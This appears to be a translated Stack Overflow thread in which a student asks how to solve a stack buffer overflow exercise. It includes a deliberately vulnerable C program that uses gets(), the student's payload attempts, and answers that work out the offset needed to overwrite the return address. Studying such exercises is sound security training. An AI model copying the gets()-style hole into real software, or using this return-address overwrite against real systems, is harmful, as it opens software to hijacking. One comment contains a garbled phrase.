Я изучаю кибербезопасность и выполнял упражнение, в котором мне нужно было получить доступ к функции vip_queue через переполнение буфера, не меняя значения check. Я пытался часами, но не получил никаких результатов. Надеюсь, вы сможете мне помочь, спасибо. Это код:
#include <stdio.h>
#include <stdlib.h>
typedef struct {
char name[32];
int check;
} user_data;
void banner() {
puts(" _ _ _ _____");
puts("| \\ | (_) ___ ___| ___|__ _ __ _ _ _ __ ___ ___");
puts("| \\| | |/ __/ _ \\ |_ / _ \\| '__| | | | '_ ` _ \/ __|");
puts("| |\\ | | (_| __/ _| (_) | | | |_| | | | | | \\__ \\");
puts("|_| \\_|_|\\___\\___|_| \\___/|_| \\__,_|_| |_| |_|___/");
puts("\n\n\n");
}
void vip_queue() {
puts("[+] Your user is in the VIP list. Thanks for subscribing :D");
puts("================================== = ");
puts("================================== = ");
puts("==== CONGRATULATIONS === = ");
puts("================================== = ");
puts("==== YOU MANAGED === = ");
puts("==== TO EXPLOIT THE BINARY === = ");
puts("================================== = ");
puts("================================== = ");
puts("== STACK BASED BUFFER OVERFLOW = = ");
puts("================================== = ");
puts("================================== = ");
}
void get_user_info() {
user_data data;
data.check = 0;
puts("[+] Welcome to NiceForums!");
puts("[+] Please, submit your name or alias to continue with the subscription.");
puts("Name or Alias:");
gets(data.name);
if ( data.check != 0 ) {
puts("[!] ALERT! Stop trying strange stuff >:(");
exit(1);
}
return;
}
int main() {
banner();
get_user_info();
puts("[!] There are no places available for non VIP users and you don't figure as one.");
}
Я пытался:
python2 -c "print 32 * b'A' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output9.txt
где \xa7\x11\x40\x00\x00\x00\x00\x00 — это адрес, по которому хранится функция vip_queue а также:
python2 -c "print 36 * b'A' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output8.txt
python2 -c "print 32 * b'A' + 4 * b'0' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output7.txt
python2 -c "print 32 * b'A' + '\x00\x00\x00\x00' + '\xa7\x11\x40\x00\x00\x00\x00\x00'" > output78
Я выполнил код следующим образом:
gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums
Извини, моя ошибка. Это все, что мне пришлось установить (разделенные ;): sudo apt update; sudo apt install gdb python2 python3 python3- pip python3-dev git libssl-dev libffi-dev build-essential ; git clone github.com/pwndbg/pwndbg; компакт-диск pwndbg; ./setup.sh; python3 -m pip install --upgrade pip; sudo python3 -m pip install --upgrade pwntools
большое спасибо за советы! А еще я не отключал ASLR.
Обратите внимание, что gets()
больше 12 лет не является частью стандартной библиотеки C.
Это упражнение для практики
@chux-ReinstateMonica Потому что он допускает переполнение буфера. Это именно то, чего хочет ОП.
Я предполагаю, что вы должны переполнить data.name
в get_user_info
, чтобы адрес возврата функции get_user_info
изменился на адрес функции vip_queue
. Однако большинство современных операционных систем используют ASLR, из-за чего этот эксплойт, вероятно, не сработает. Поскольку вы заявили, что не отключили ASLR, ваш вопрос для меня не имеет смысла, если только ASLR не отключен и вы об этом не знаете.
Когда вы запускаете программу в отладчике, какой у нее адрес data.name
? А по какому адресу хранится обратный адрес функции get_user_info
? Если разница между обоими адресами не составляет ровно 36 байт, то я считаю, что опубликованные вами эксплойты не сработают.
Вероятно, также необходимо отключить любую защиту стека (например, -fno-stack-protector
)
это адрес памяти data.name: 0x7ffffffdce0 и обратный адрес get_user_info: 0x0000000000401272. Я думал, что байты рассчитываются по размеру каждой переменной, я только начал изучать, как работают буферы, извините, если я ошибаюсь.
@LHLaurini да! это именно то, что я сделал здесь: gcc -no-pie -fno-stack-protector nice_forums.c -o nice_forums, но до сих пор не знаю, почему это не работает
Пожалуйста, добавьте эту команду в вопрос.
@cucaracha: Я тебя спрашивал "at what address is the return address [...] stored?"
. Итак, я спрашивал у вас адрес обратного адреса в стеке. Кажется, вместо этого вы сообщили мне значение обратного адреса. Я не об этом просил. Вы сможете увидеть структуру памяти, запустив программу в отладчике.
Когда я тестирую ваш код в онлайн-отладчике www.onlinegdb.com
, устанавливаю точку останова в начале функции get_user_info
, а затем использую команду GDB x/16ag &data
для проверки памяти в стеке, я обнаруживаю, что между адресом data
и адресом www.onlinegdb.com
находится 56 байтов. адрес обратного адреса. Ваше решение, похоже, предполагает, что существует разница в 36 байт, что, по моему мнению, будет правдоподобно только на 32-битной платформе (из-за выравнивания) и когда указатель кадра не используется.
@Barmar Вместо устаревшего gets()
, сегодняшний эксплойт может использовать scanf("%s", ...)
или scanf("%[^\n]", ...)
, которые все еще действительны в C. ИМХО, эксплойт gets()
отражает старые планы уроков и не очень энергичных преподавателей, которые практически не пытаются оставаться в курсе событий.
@chux-ReinstateMonica Правда. Вы также можете использовать fgets()
с размером > размером буфера. Интересно, что когда они объявили устаревшими/удалили gets()
, они ничего не сделали с другими конструкциями, которые столь же опасны и распространены.
Вы идете в правильном направлении, но делаете неверные предположения о местонахождении обратного адреса. Мы можем взглянуть на дизассемблированную функцию, используя objdump -S
.
У меня это выглядит так (у вас может быть по-другому):
[...]
0000000000401262 <get_user_info>:
void get_user_info() {
401262: 55 push %rbp
401263: 48 89 e5 mov %rsp,%rbp
401266: 48 83 ec 30 sub $0x30,%rsp
[...]
4012d0: c9 leave
4012d1: c3 ret
[...]
Итак, в данном случае у нас есть 0x30
+ 8 байт (push %rbp
) = 56 байт до обратного адреса. Следовательно, вам понадобится 32 байта для name
, 4 нулевых байта для check
, плюс 20 дополнительных байтов, а затем адрес vip_queue
.
Обновлено:
Но почему 56?
rbp
— 8 байт;sizeof(user_data) == 36
— итак еще 36 байт;8 + 48 = 56.
ох, понятно, я не знал о 20 дополнительных байтах. Как вы пришли к такому выводу? И почему 56 байт?
Все упражнения по использованию эксплойтов зависят от вычислительной среды, используемой в курсе, включая компилятор, его версию, переключатели, используемые для компиляции, операционную систему и ее загрузчик программ, а также, возможно, другие факторы. Вы должны убедиться, что используете среду, предписанную для курса (а не другую среду на своем компьютере), и задавать вопросы преподавателю курса. Чтобы задать вопрос о переполнении стека, вам необходимо предоставить гораздо больше информации, чем содержится в вопросе, включая все детали среды.